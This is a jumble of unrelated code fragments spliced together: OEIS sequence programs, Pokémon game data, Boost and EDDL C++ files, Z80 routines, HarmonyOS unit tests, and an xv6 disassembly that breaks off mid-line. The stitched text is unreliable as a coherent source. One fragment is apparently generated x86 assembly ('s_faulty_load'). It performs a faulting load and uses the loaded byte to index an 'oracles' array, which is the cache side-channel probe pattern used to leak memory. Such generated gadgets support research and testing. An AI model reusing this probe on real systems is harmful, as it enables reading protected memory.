,1577230236,1604021206,1631152032,1658625576,1686444712,1714612326,1743131316,1772004592,1801235076,1830825702,1860779416,1891099176,1921787952,1952848726 mov $14,$0 mov $16,$0 lpb $16 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 mov $5,$0 mul $5,$0 mov $2,$5 mov $6,6 mul $6,$5 lpb $2 mov $2,7 sub $6,8 lpe add $12,$6 lpe add $15,$12 lpe mov $1,$15
db FURRET ; 162 db 85, 76, 64, 90, 45, 55 ; hp atk def spd sat sdf db NORMAL, NORMAL ; type db 90 ; catch rate db 116 ; base exp db BERRY, GOLD_BERRY ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/furret/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, TOXIC, HIDDEN_POWER, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, ENDURE, FRUSTRATION, IRON_TAIL, RETURN, DIG, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SWIFT, DEFENSE_CURL, THUNDERPUNCH, DETECT, REST, ATTRACT, THIEF, FIRE_PUNCH, FURY_CUTTER, CUT, SURF, STRENGTH ; end
// Copyright Aleksey Gurtovoy 2002-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id: map.cpp 49268 2008-10-11 06:26:17Z agurtovoy $ // $Date: 2008-10-10 23:26:17 -0700 (Fri, 10 Oct 2008) $ // $Revision: 49268 $ #define BOOST_MPL_PREPROCESSING_MODE #include <boost/config.hpp> #include <boost/mpl/map.hpp>
/* * EDDL Library - European Distributed Deep Learning Library. * Version: 1.0 * copyright (c) 2021, Universitat Politècnica de València (UPV), PRHLT Research Centre * Date: November 2021 * Author: PRHLT Research Centre, UPV, (rparedes@prhlt.upv.es), (jon@prhlt.upv.es) * All rights reserved */ #include <cstdio> #include <cstdlib> #include <iostream> #include "eddl/layers/da/layer_da.h" using namespace std; int LCropScale::total_layers = 0; LCropScale::LCropScale(Layer *parent, vector<int> from_coords, vector<int> to_coords, WrappingMode da_mode, float cval, string name, int dev, int mem) : LCrop(parent, from_coords, to_coords, false, cval, name, dev, mem) { if(name.empty()) this->name = "crop_scale" + to_string(++total_layers); this->da_mode=da_mode; } void LCropScale::forward() { Tensor::crop_scale(this->input, this->output, this->from_coords, this->to_coords, this->da_mode, this->cval); }
; A163192: a(n) = 20*a(n-1)-93*a(n-2) for n > 1; a(0) = 1, a(1) = 10. ; Submitted by Jon Maiga ; 1,10,107,1210,14249,172450,2123843,26439010,331262801,4166428090,52521121307,662944613770,8374427993849,105834710796370,1337872412499443,16914820145926450,213874268556080801,2704407097550456170,34197834975293608907,432446839433679754330,5468538135971289458249,69153206652093572012290,874490086396541520628643,11058553509286128215429890,139843492150844202890134001,1768424366653274133767700250,22363042563036971806571542907,282797385161984941691034734890,3576184744877260455809541207449 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,7 mul $3,10 add $3,$1 mul $1,10 add $1,$2 lpe mov $0,$3
; A109338: Triangle read by rows: T(n,k) = number of inequivalent binary sequences of length n and weight k, where two sequences are said to be equivalent if they have the same set of phrases in their Ziv-Lempel encodings (the phrases can appear in a different order in the two sequences). ; 1,1,1,1,1,1,1,2,2,1,1,2,2,2,1,1,2,4,4,2,1 seq $0,206735 ; Triangle T(n,k), read by rows, given by (0, 2, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) DELTA (1, 0, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) where DELTA is the operator defined in A084938. div $0,3 dif $0,2 add $0,1
; ; ZX Spectrum specific routines ; by Stefano Bodrato, 12/02/2008 ; ; int zx_floatingbus(); ; ; The result is: ; - 1 (true) if Spectrum has floating bus ; - 0 (false) otherwise ; ; $Id: zx_floatingbus.asm,v 1.3 2016/06/10 20:02:05 dom Exp $ ; SECTION code_clib PUBLIC zx_floatingbus PUBLIC _zx_floatingbus zx_floatingbus: _zx_floatingbus: ld hl,1 ld e,h ld bc,32767 loop: push bc ld bc,65535 in a,($c) pop bc add e ld e,a dec bc ld a,b or c jr nz,loop ld a,e cp l ; is it one ? ret nz ; no, floating bus is present ! dec hl ret
; void *p_forward_list_remove_callee(p_forward_list_t *list, void *item) SECTION code_adt_p_forward_list PUBLIC _p_forward_list_remove_callee _p_forward_list_remove_callee: pop af pop hl pop bc push af INCLUDE "adt/p_forward_list/z80/asm_p_forward_list_remove.asm"
;; ;; Copyright (c) 2012-2022, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define FUNC submit_job_hmac_sha_224_avx2 %define SHA224 %include "avx2/mb_mgr_hmac_sha256_submit_avx2.asm"
SECTION code_fp_math32 PUBLIC cm32_sdcc___fs2sint_callee PUBLIC cm32_sdcc___fs2schar_callee EXTERN m32_f2sint EXTERN cm32_sdcc_fsread1_callee cm32_sdcc___fs2sint_callee: cm32_sdcc___fs2schar_callee: call cm32_sdcc_fsread1_callee jp m32_f2sint
/* * Copyright (c) 2020 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "gtest/gtest.h" #include <climits> #include "components/root_view.h" #include "components/ui_checkbox.h" #include "components/ui_view_group.h" #include "core/system_booter.h" using namespace OHOS; using namespace testing::ext; class CheckBoxTest : public testing::Test { protected: // SetUpTestCase: Testsuit setup, run before 1st testcase static void SetUpTestCase(void) { SystemBooter::Init(); } // TearDownTestCase: Testsuit teardown, run after last testcase static void TearDownTestCase(void) {} // Testcase setup virtual void SetUp() {} // Testcase teardown virtual void TearDown() {} }; /** * @tc.number SUB_UIKIT_NDKAPI_BUTTON_CHECKBOX_POSITION_0100 * @tc.name test checkbox position api * @tc.desc [C- SOFTWARE -0200] * @tc.size SMALL * @tc.type FUNC */ HWTEST_F(CheckBoxTest, testCheckBoxPosition, TestSize.Level0){ UICheckBox* checkbox = new UICheckBox(); EXPECT_EQ(checkbox->GetX(), 0); EXPECT_EQ(checkbox->GetY(), 0); checkbox->SetPosition(30, 200); EXPECT_EQ(checkbox->GetX(), 30); EXPECT_EQ(checkbox->GetY(), 200); checkbox->SetX(60); checkbox->SetY(160); EXPECT_EQ(checkbox->GetX(), 60); EXPECT_EQ(checkbox->GetY(), 160); checkbox->SetPosition(100, 200, 300, 400); EXPECT_EQ(checkbox->GetX(), 100); EXPECT_EQ(checkbox->GetY(), 200); delete(checkbox); } /** * @tc.number SUB_UIKIT_NDKAPI_BUTTON_CHECKBOX_SIZE_0100 * @tc.name test checkbox size api by normal value * @tc.desc [C- SOFTWARE -0200] * @tc.size SMALL * @tc.type FUNC */ HWTEST_F(CheckBoxTest, testCheckBoxSizeNormal, TestSize.Level0){ UICheckBox* checkbox = new UICheckBox(); EXPECT_EQ(checkbox->GetWidth(), 56); EXPECT_EQ(checkbox->GetHeight(), 56); checkbox->SetWidth(90); checkbox->SetHeight(60); EXPECT_EQ(checkbox->GetWidth(), 90); EXPECT_EQ(checkbox->GetHeight(), 60); checkbox->SetPosition(100, 200, 300, 400); EXPECT_EQ(checkbox->GetWidth(), 300); EXPECT_EQ(checkbox->GetHeight(), 400); delete(checkbox); } /** * @tc.number SUB_UIKIT_NDKAPI_BUTTON_CHECKBOX_SIZE_0100 * @tc.name test checkbox size api by abnormal value * @tc.desc [C- SOFTWARE -0200] * @tc.size SMALL * @tc.type FUNC */ HWTEST_F(CheckBoxTest, testCheckBoxSizeAbnormal, TestSize.Level0){ UICheckBox* checkbox = new UICheckBox(); checkbox->SetWidth(-90); checkbox->SetHeight(-60); EXPECT_EQ(checkbox->GetWidth(), -90); EXPECT_EQ(checkbox->GetHeight(), -60); delete(checkbox); } /** * @tc.number SUB_UIKIT_NDKAPI_BUTTON_CHECKBOX_STATE_0100 * @tc.name test checkbox set state api * @tc.desc [C- SOFTWARE -0200] * @tc.size SMALL * @tc.type FUNC */ HWTEST_F(CheckBoxTest, testCheckBoxSetState, TestSize.Level0){ UICheckBox* checkbox = new UICheckBox(); EXPECT_EQ(checkbox->GetState(), UICheckBox::UNSELECTED); checkbox->SetState(UICheckBox::SELECTED); EXPECT_EQ(checkbox->GetState(), UICheckBox::SELECTED); checkbox->SetState(UICheckBox::UNSELECTED); EXPECT_EQ(checkbox->GetState(), UICheckBox::UNSELECTED); delete(checkbox); } /** * @tc.number SUB_UIKIT_NDKAPI_BUTTON_CHECKBOX_STYLE_0100 * @tc.name test checkbox style api * @tc.desc [C- SOFTWARE -0200] * @tc.size SMALL * @tc.type FUNC */ HWTEST_F(CheckBoxTest, testCheckBoxStyle, TestSize.Level0){ UICheckBox* checkbox = new UICheckBox(); checkbox->SetStyle(STYLE_BACKGROUND_OPA, 0); checkbox->SetStyle(STYLE_BACKGROUND_COLOR, 200); checkbox->SetStyle(STYLE_BORDER_RADIUS, 100); checkbox->SetStyle(STYLE_IMAGE_OPA, 190); EXPECT_EQ(checkbox->GetStyle(STYLE_BACKGROUND_OPA), 0); EXPECT_EQ(checkbox->GetStyle(STYLE_BACKGROUND_COLOR), 200); EXPECT_EQ(checkbox->GetStyle(STYLE_BORDER_RADIUS), 100); EXPECT_EQ(checkbox->GetStyle(STYLE_IMAGE_OPA), 190); delete(checkbox); } /** * @tc.number SUB_UIKIT_NDKAPI_BUTTON_CHECKBOX_EVENT_0100 * @tc.name test checkbox event api * @tc.desc [C- SOFTWARE -0200] * @tc.size SMALL * @tc.type FUNC */ HWTEST_F(CheckBoxTest, testCheckBoxEvent, TestSize.Level0){ RootView* rootView = RootView::GetInstance(); UIViewGroup* viewGroup = static_cast<UIViewGroup*>(rootView); UICheckBox* checkbox1 = new UICheckBox(); UICheckBox* checkbox2 = new UICheckBox(); UICheckBox* checkbox3 = new UICheckBox(); viewGroup->Add(checkbox1); viewGroup->Add(checkbox2); viewGroup->Add(checkbox3); ClickEvent event({ 345, 430 }); checkbox1->OnClickEvent(event); checkbox2->OnClickEvent(event); EXPECT_EQ(checkbox1->GetState(), UICheckBox::SELECTED); EXPECT_EQ(checkbox2->GetState(), UICheckBox::SELECTED); EXPECT_EQ(checkbox3->GetState(), UICheckBox::UNSELECTED); delete(checkbox1); delete(checkbox2); delete(checkbox3); }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x77dc, %r10 sub %r8, %r8 vmovups (%r10), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r13 nop nop nop nop nop and $25520, %r11 lea addresses_WC_ht+0x1bebc, %rsi lea addresses_A_ht+0x1529c, %rdi nop nop nop nop add $45989, %r10 mov $9, %rcx rep movsq nop nop nop nop nop and %r11, %r11 lea addresses_D_ht+0x1e0dc, %r13 nop nop nop nop nop inc %r8 mov (%r13), %r10w nop nop and %r11, %r11 lea addresses_UC_ht+0x74dc, %rsi lea addresses_normal_ht+0xbadc, %rdi nop nop cmp %rbx, %rbx mov $94, %rcx rep movsl nop nop nop nop nop xor %rsi, %rsi lea addresses_WT_ht+0x122fc, %rbx cmp %rcx, %rcx mov (%rbx), %esi nop inc %rcx lea addresses_D_ht+0x7cdc, %rcx nop and $15061, %r13 mov (%rcx), %r8w nop add %rsi, %rsi lea addresses_WC_ht+0x19cdc, %r11 nop and $52015, %rsi movb (%r11), %cl nop and %r10, %r10 lea addresses_D_ht+0x105dc, %r11 clflush (%r11) nop nop nop xor $14868, %rbx mov $0x6162636465666768, %r8 movq %r8, %xmm5 vmovups %ymm5, (%r11) nop nop nop add $51146, %r8 lea addresses_WC_ht+0x1d2dc, %r10 nop xor $39383, %rdi mov (%r10), %r11w nop nop nop sub %rsi, %rsi lea addresses_UC_ht+0x115c, %r8 sub $60339, %rsi mov (%r8), %r13 nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x1e42, %rsi lea addresses_WC_ht+0x16b3c, %rdi nop xor $54170, %r10 mov $71, %rcx rep movsb nop nop nop inc %r10 lea addresses_A_ht+0x104dc, %rsi lea addresses_D_ht+0x64dc, %rdi nop nop dec %r10 mov $31, %rcx rep movsl nop nop nop xor $41467, %rbx lea addresses_WT_ht+0x2ae, %rsi lea addresses_normal_ht+0x114dc, %rdi clflush (%rdi) nop nop nop xor $45128, %r10 mov $44, %rcx rep movsl and %rsi, %rsi lea addresses_normal_ht+0x1887c, %r8 nop nop nop nop nop cmp $10277, %rbx movups (%r8), %xmm0 vpextrq $1, %xmm0, %r11 nop nop sub %rcx, %rcx lea addresses_D_ht+0xd8ca, %r8 nop nop nop cmp %r10, %r10 mov (%r8), %si nop nop nop sub %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_WT+0x775c, %r14 nop nop nop nop nop and %rbx, %rbx mov $0x5152535455565758, %rcx movq %rcx, %xmm1 movups %xmm1, (%r14) nop nop nop nop nop and $25339, %r14 // Faulty Load lea addresses_A+0xc4dc, %r14 cmp $40358, %rsi movb (%r14), %cl lea oracles, %r11 and $0xff, %rcx shlq $12, %rcx mov (%r11,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}} [Faulty Load] {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'35': 21828, '00': 1} 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
; A147537: Numbers whose binary representation is the concatenation of 2n-1 digits 1 and n digits 0. ; 2,28,248,2032,16352,131008,1048448,8388352,67108352,536869888,4294965248,34359734272,274877898752,2199023239168,17592186011648,140737488289792,1125899906711552,9007199254478848,72057594037403648,576460752302374912,4611686018425290752,36893488147414908928,295147905179344437248,2361183241434805829632,18889465931478547300352,151115727451828579729408,1208925819614629040488448,9671406556917033129213952,77371252455336266644324352,618970019642690136375820288,4951760157141521097449013248,39614081257132168792477007872,316912650057057350365585866752,2535301200456458802976226541568,20282409603651670423912891547648,162259276829213363391509290811392,1298074214633706907132486643351552,10384593717069655257060717780533248,83076749736557242056487391511707648,664613997892457936451902430628544512 seq $0,147590 ; Numbers whose binary representation is the concatenation of 2n-1 digits 1 and n-1 digits 0. mul $0,2
; r1 = r2 = r3 ; r3 >= r2 ; r3 <= r4 in r1 in r2 in r3 in r4 ceq r1, r2 cout .1 candeq r2, r3 cout .1 candlt r2, r3 cout .0 coreq r1, r2 cout .1 candgt r3, r4 cout .0 ; r1 < r2 ; r2 >= r3 ; r3 < r4 in r1 in r2 in r3 in r4 corne r1, r2 cout .1 candge r2, r3 cout .1 corlt r3, r4 cout .1 cflip corgt r1, r2 cout .0 corle r3, r4 cout .1 ; r1 < r2 ; r2 < r3 ; r3 = r4 in r1 in r2 in r3 in r4 cxorge r1, r2 cout .1 cxorle r2, r3 cout .0 cxoreq r3, r4 cout .1
_lotteryTest1: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp int Scheduler(void); Scheduler(); 11: e8 0a 00 00 00 call 20 <Scheduler> 16: 66 90 xchg %ax,%ax 18: 66 90 xchg %ax,%ax 1a: 66 90 xchg %ax,%ax 1c: 66 90 xchg %ax,%ax 1e: 66 90 xchg %ax,%ax 00000020 <Scheduler>: return 0; } int Scheduler(void) { 20: 55 push %ebp 21: 89 e5 mov %esp,%ebp 23: 56 push %esi 24: 53 push %ebx int pid; int i, j, k; /*Replace YOUR_SYSCALL_TO_ASSIGN_TICKET with what you implement to assign ticket */ settickets(60); for (i = 0; i < 3; i++) 25: 31 db xor %ebx,%ebx settickets(60); 27: 83 ec 0c sub $0xc,%esp 2a: 6a 3c push $0x3c 2c: e8 89 03 00 00 call 3ba <settickets> 31: 83 c4 10 add $0x10,%esp { pid = fork(); 34: e8 d1 02 00 00 call 30a <fork> if (pid > 0) 39: 83 f8 00 cmp $0x0,%eax pid = fork(); 3c: 89 c6 mov %eax,%esi if (pid > 0) 3e: 7f 14 jg 54 <Scheduler+0x34> { continue; } else if (pid == 0) 40: 74 32 je 74 <Scheduler+0x54> printf(1, "\n child# %d with %d tickets has finished! \n", getpid(), 30 - 10 * i); exit(); } else { printf(2, " \n Error \n "); 42: 83 ec 08 sub $0x8,%esp 45: 68 f8 07 00 00 push $0x7f8 4a: 6a 02 push $0x2 4c: e8 1f 04 00 00 call 470 <printf> 51: 83 c4 10 add $0x10,%esp for (i = 0; i < 3; i++) 54: 83 c3 01 add $0x1,%ebx 57: 83 fb 03 cmp $0x3,%ebx 5a: 75 d8 jne 34 <Scheduler+0x14> } } if (pid > 0) 5c: 85 f6 test %esi,%esi 5e: 7e 0f jle 6f <Scheduler+0x4f> { for (i = 0; i < 3; i++) { wait(); 60: e8 b5 02 00 00 call 31a <wait> 65: e8 b0 02 00 00 call 31a <wait> 6a: e8 ab 02 00 00 call 31a <wait> } } exit(); 6f: e8 9e 02 00 00 call 312 <exit> settickets(30 - 10 * i); 74: 6b db f6 imul $0xfffffff6,%ebx,%ebx 77: 83 ec 0c sub $0xc,%esp 7a: 83 c3 1e add $0x1e,%ebx 7d: 53 push %ebx 7e: e8 37 03 00 00 call 3ba <settickets> 83: 83 c4 10 add $0x10,%esp 86: ba 50 c3 00 00 mov $0xc350,%edx 8b: 90 nop 8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i < 3; i++) 90: b8 50 c3 00 00 mov $0xc350,%eax 95: 8d 76 00 lea 0x0(%esi),%esi asm("nop"); 98: 90 nop for (k = 0; k < 50000; k++) 99: 83 e8 01 sub $0x1,%eax 9c: 75 fa jne 98 <Scheduler+0x78> for (j = 0; j < 50000; j++) 9e: 83 ea 01 sub $0x1,%edx a1: 75 ed jne 90 <Scheduler+0x70> printf(1, "\n child# %d with %d tickets has finished! \n", getpid(), 30 - 10 * i); a3: e8 ea 02 00 00 call 392 <getpid> a8: 53 push %ebx a9: 50 push %eax aa: 68 c8 07 00 00 push $0x7c8 af: 6a 01 push $0x1 b1: e8 ba 03 00 00 call 470 <printf> exit(); b6: e8 57 02 00 00 call 312 <exit> bb: 66 90 xchg %ax,%ax bd: 66 90 xchg %ax,%ax bf: 90 nop 000000c0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { c0: 55 push %ebp c1: 89 e5 mov %esp,%ebp c3: 53 push %ebx c4: 8b 45 08 mov 0x8(%ebp),%eax c7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) ca: 89 c2 mov %eax,%edx cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi d0: 83 c1 01 add $0x1,%ecx d3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx d7: 83 c2 01 add $0x1,%edx da: 84 db test %bl,%bl dc: 88 5a ff mov %bl,-0x1(%edx) df: 75 ef jne d0 <strcpy+0x10> ; return os; } e1: 5b pop %ebx e2: 5d pop %ebp e3: c3 ret e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000f0 <strcmp>: int strcmp(const char *p, const char *q) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 53 push %ebx f4: 8b 55 08 mov 0x8(%ebp),%edx f7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) fa: 0f b6 02 movzbl (%edx),%eax fd: 0f b6 19 movzbl (%ecx),%ebx 100: 84 c0 test %al,%al 102: 75 1c jne 120 <strcmp+0x30> 104: eb 2a jmp 130 <strcmp+0x40> 106: 8d 76 00 lea 0x0(%esi),%esi 109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 110: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 113: 0f b6 02 movzbl (%edx),%eax p++, q++; 116: 83 c1 01 add $0x1,%ecx 119: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 11c: 84 c0 test %al,%al 11e: 74 10 je 130 <strcmp+0x40> 120: 38 d8 cmp %bl,%al 122: 74 ec je 110 <strcmp+0x20> return (uchar)*p - (uchar)*q; 124: 29 d8 sub %ebx,%eax } 126: 5b pop %ebx 127: 5d pop %ebp 128: c3 ret 129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 130: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 132: 29 d8 sub %ebx,%eax } 134: 5b pop %ebx 135: 5d pop %ebp 136: c3 ret 137: 89 f6 mov %esi,%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000140 <strlen>: uint strlen(const char 